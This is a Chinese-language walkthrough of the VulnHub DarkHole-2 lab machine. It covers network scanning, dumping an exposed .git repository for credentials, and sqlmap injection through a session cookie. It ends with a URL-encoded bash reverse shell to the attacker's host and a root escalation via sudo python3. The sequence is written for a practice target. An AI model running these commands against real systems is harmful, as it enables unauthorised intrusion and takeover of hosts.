vulnhub靶场-DarkHole-2
VulnHub-DarkHole_2靶机实战
一、环境搭建
靶机下载
靶机下载地址:https://vulnhub.com/entry/darkhole-2,740/
启动靶场
二、信息收集
确定靶机地址
1 | arp-scan -l |
端口扫描
1 | nmap -v -A -sV -p- 192.168.147.133 |
经过扫描查看开放了22、80端口
访问HTTP端口:80
进行目录扫描,查看可以访问目录
可以看到,扫描到了.git文件,之后我们可以使用工具将代码还原
指纹识别
三、Web渗透
利用.git还原代码
由于主界面是login,但是我们并没有用户名以及密码
可以从其他地方进行突破.
/.git/:可以通过/.git/得到网页源代码
1 | http://192.168.147.133/.git/ |
使用Dump all下载git文件夹内所有文件
安装git-dumper
使用git-dumper下载git文件夹内容
1 | git-dumper http://192.168.147.133/.git/ 192.168.147.133 |
切换到192.168.147.133文件夹,查看日志
出现了三次提交,还有哈希值,作者,时间等.
对比三次提交
git diff #获得当前目录上次提交和本地索引的差距,也就是你在什么地方修改了代码.
这里我们逐个查看:
其中发现了账户邮箱以及密码
1 | lush@admin.com |
登录网页
进行登录测试
进到页面之后发现url有id=1的参数值,这里可以试一试SQL注入
确定存在sql注入点
使用sqlmap直接梭哈
1 | http://192.168.147.133/dashboard.php?id=1%27 |
发现页面主进不去,尝试使用cookie注入
获取当前用户的Cookie: “F12”->”网络”->”200”->”消息头”->”请求头”->”Cookie”
1 | sqlmap -u "192.168.147.133/dashboard.php?id=1" --cookie PHPSESSID=cuk869g1jts78vt9h9pchvol66 --batch --current-db |
这里我们获取到了数据库名:darkhole_2
我们这里在获取他的表名
1 | sqlmap -u "192.168.147.133/dashboard.php?id=1" --cookie PHPSESSID=cuk869g1jts78vt9h9pchvol66 --batch -D darkhole_2 --tables |
得到两个表: ssh / users
查看ssh表,用于我们后面进行ssh连接.
1 | sqlmap -u "192.168.147.133/dashboard.php?id=1" --cookie PHPSESSID=cuk869g1jts78vt9h9pchvol66 --batch -D darkhole_2 -T ssh --dump-all |
知道ssh的用户名和密码之后,我们可以尝试ssh连接.
1 | ssh jehad@192.168.147.133 |
ssh登录成功。可直接进losy用户,第一个flag。
1 | cd /home/jehad && cat user.txt |
四、提权
查看权限
1 | id |
发现我们并不是0用户(root)
查看活动端口
发现本地有9999端口的服务.
1 | netstat -lntp |
查看一下本地服务的内容
1 | curl "http://127.0.0.1:9999/?cmd=id" |
查看Crontab定时任务:**cat /etc/crontab
,发现定时任务,执行/opt/web
里面的PHP代码,并且监听9999端口**
查看一下**/opt/web/index.php
**的PHP代码,发现是一个PHP后门代码
获取losy的权限
重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机
1 | ssh jehad@192.168.147.133 -L 9999:localhost:9999 |
反弹shell
记得我们查看过9999端口运行的程序,当我们看到源代码的内容时,我们看到这允许远程命令执行。而且这个脚本属于用户losy,然后我们就可以使用 SSH 隧道连接端口 9999,然后,访问 127.0.0.1:9999 进行 RCE。大概原理就是这样。
构造连接kali的命令:
1 | bash -c ‘bash -i >& /dev/tcp/192.168.147.131/1234>&1’ |
使用URL 16进制编码:Url 编码/解码 - 在线工具 (toolhelper.cn)
1 | curl "127.0.0.1:9999/?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.131%2F1234%200%3E%261'" |
kali再开一个窗口进行监听:
1 | nc -lvnp 1234 |
在cmd处传入反弹Shell的参数,不过需要url编码一下,执行命令
成功反弹Shell之后,搜索了一番之后,在losy的用户目录下的**.bash_history文件中发现了losy密码:gang**
切换用户
SSH切换为losy用户:**su - losy
,输入sudo -l
**查看一下可以使用 **sudo**
命令执行的权限的命令
发现python3可以用sudo,那就使用python3提权。
1 | sudo python3 -c 'import os; os.system("/bin/bash")' |
成功拿到第二个flag